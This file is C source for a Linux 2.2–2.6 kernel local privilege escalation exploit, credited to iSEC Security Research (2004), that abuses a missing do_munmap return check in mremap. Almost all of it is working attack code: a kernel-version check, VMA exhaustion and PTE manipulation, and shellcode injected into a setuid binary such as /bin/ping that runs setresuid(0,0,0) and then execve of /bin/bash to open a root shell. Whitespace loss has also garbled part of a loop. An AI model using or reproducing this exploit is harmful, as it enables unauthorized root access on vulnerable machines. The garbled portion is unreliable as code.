/* * * mremap missing do_munmap return check kernel exploit * * gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte * ./mremap_pte [suid] [[shell]] * * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * */ #include #include #include #include #include #include #include #include #include #include #include #include #define str(s) #s #define xstr(s) str(s) // this is for standard kernels with 3/1 split #define STARTADDR 0x40000000 #define PGD_SIZE (PAGE_SIZE * 1024) #define VICTIM (STARTADDR + PGD_SIZE) #define MMAP_BASE (STARTADDR + 3*PGD_SIZE) #define DSIGNAL SIGCHLD #define CLONEFL (DSIGNAL|CLONE_VFORK|CLONE_VM) #define MREMAP_MAYMOVE ( (1UL) << 0 ) #define MREMAP_FIXED ( (1UL) << 1 ) #define __NR_sys_mremap __NR_mremap // how many ld.so pages? this is the .text section length (like cat // /proc/self/maps) in pages #define LINKERPAGES 0x14 // suid victim static char *suid="/bin/ping"; // shell to start static char *launch="/bin/bash"; _syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, ulong, e); unsigned long sys_mremap(unsigned long addr, unsigned long old_len, unsigned long new_len, unsigned long flags, unsigned long new_addr); static volatile unsigned base, *t, cnt, old_esp, prot, victim=0; static int i, pid=0; static char *env[2], *argv[2]; static ulong ret; // code to appear inside the suid image static void suid_code(void) { __asm__( " call callme \n" // setresuid(0, 0, 0), setresgid(0, 0, 0) "jumpme: xorl %ebx, %ebx \n" " xorl %ecx, %ecx \n" " xorl %edx, %edx \n" " xorl %eax, %eax \n" " mov $"xstr(__NR_setresuid)", %al \n" " int $0x80 \n" " mov $"xstr(__NR_setresgid)", %al \n" " int $0x80 \n" // execve(launch) " popl %ebx \n" " andl $0xfffff000, %ebx \n" " xorl %eax, %eax \n" " pushl %eax \n" " movl %esp, %edx \n" " pushl %ebx \n" " movl %esp, %ecx \n" " mov $"xstr(__NR_execve)", %al \n" " int $0x80 \n" // exit " xorl %eax, %eax \n" " mov $"xstr(__NR_exit)", %al \n" " int $0x80 \n" "callme: jmp jumpme \n" ); } static int suid_code_end(int v) { return v+1; } static inline void get_esp(void) { __asm__( " movl %%esp, %%eax \n" " andl $0xfffff000, %%eax \n" " movl %%eax, %0 \n" : : "m"(old_esp) ); } static inline void cloneme(void) { __asm__( " pusha \n" " movl $("xstr(CLONEFL)"), %%ebx \n" " movl %%esp, %%ecx \n" " movl $"xstr(__NR_clone)", %%eax \n" " int $0x80 \n" " movl %%eax, %0 \n" " popa \n" : : "m"(pid) ); } static inline void my_execve(void) { __asm__( " movl %1, %%ebx \n" " movl %2, %%ecx \n" " movl %3, %%edx \n" " movl $"xstr(__NR_execve)", %%eax \n" " int $0x80 \n" : "=a"(ret) : "m"(suid), "m"(argv), "m"(env) ); } static inline void pte_populate(unsigned addr) { unsigned r; char *ptr; memset((void*)addr, 0x90, PAGE_SIZE); r = ((unsigned)suid_code_end) - ((unsigned)suid_code); ptr = (void*) (addr + PAGE_SIZE); ptr -= r+1; memcpy(ptr, suid_code, r); memcpy((void*)addr, launch, strlen(launch)+1); } // hit VMA limit & populate PTEs static void exhaust(void) { // mmap PTE donor t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(MAP_FAILED==t) goto failed; // prepare shell code pages for(i=2; i65520 ) printf("\r MMAP #%d 0x%.8x - 0x%.8lx", cnt, base, base+PAGE_SIZE); fflush(stdout); base += PAGE_SIZE; prot ^= PROT_EXEC; cnt++; } // move PTEs & populate page table cache ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE, MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM); if(-1==ret) goto failed; munmap((void*)MMAP_BASE, old_esp-MMAP_BASE); t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(MAP_FAILED==t) goto failed; *t = *((unsigned *)old_esp); munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE)); printf("\n[+] Success\n\n"); fflush(stdout); return; failed: printf("\n[-] Failed\n"); fflush(stdout); _exit(0); } static inline void check_kver(void) { static struct utsname un; int a=0, b=0, c=0, v=0, e=0, n; uname(&un); n=sscanf(un.release, "%d.%d.%d", &a, &b, &c); if(n!=3 || a!=2) { printf("\n[-] invalid kernel version string\n"); _exit(0); } if(b==2) { if(c<=25) v=1; } else if(b==3) { if(c<=99) v=1; } else if(b==4) { if(c>18 && c<=24) v=1, e=1; else if(c>24) v=0, e=0; else v=1, e=0; } else if(b==5 && c<=75) v=1, e=1; else if(b==6 && c<=2) v=1, e=1; printf("\n[+] kernel %s vulnerable: %s exploitable %s", un.release, v? "YES" : "NO", e? "YES" : "NO" ); fflush(stdout); if(v && e) return; _exit(0); } int main(int ac, char **av) { // prepare check_kver(); memset(env, 0, sizeof(env)); memset(argv, 0, sizeof(argv)); if(ac>1) suid=av[1]; if(ac>2) launch=av[2]; argv[0] = suid; get_esp(); // mmap & clone & execve exhaust(); cloneme(); if(!pid) { my_execve(); } else { waitpid(pid, 0, 0); } return 0; }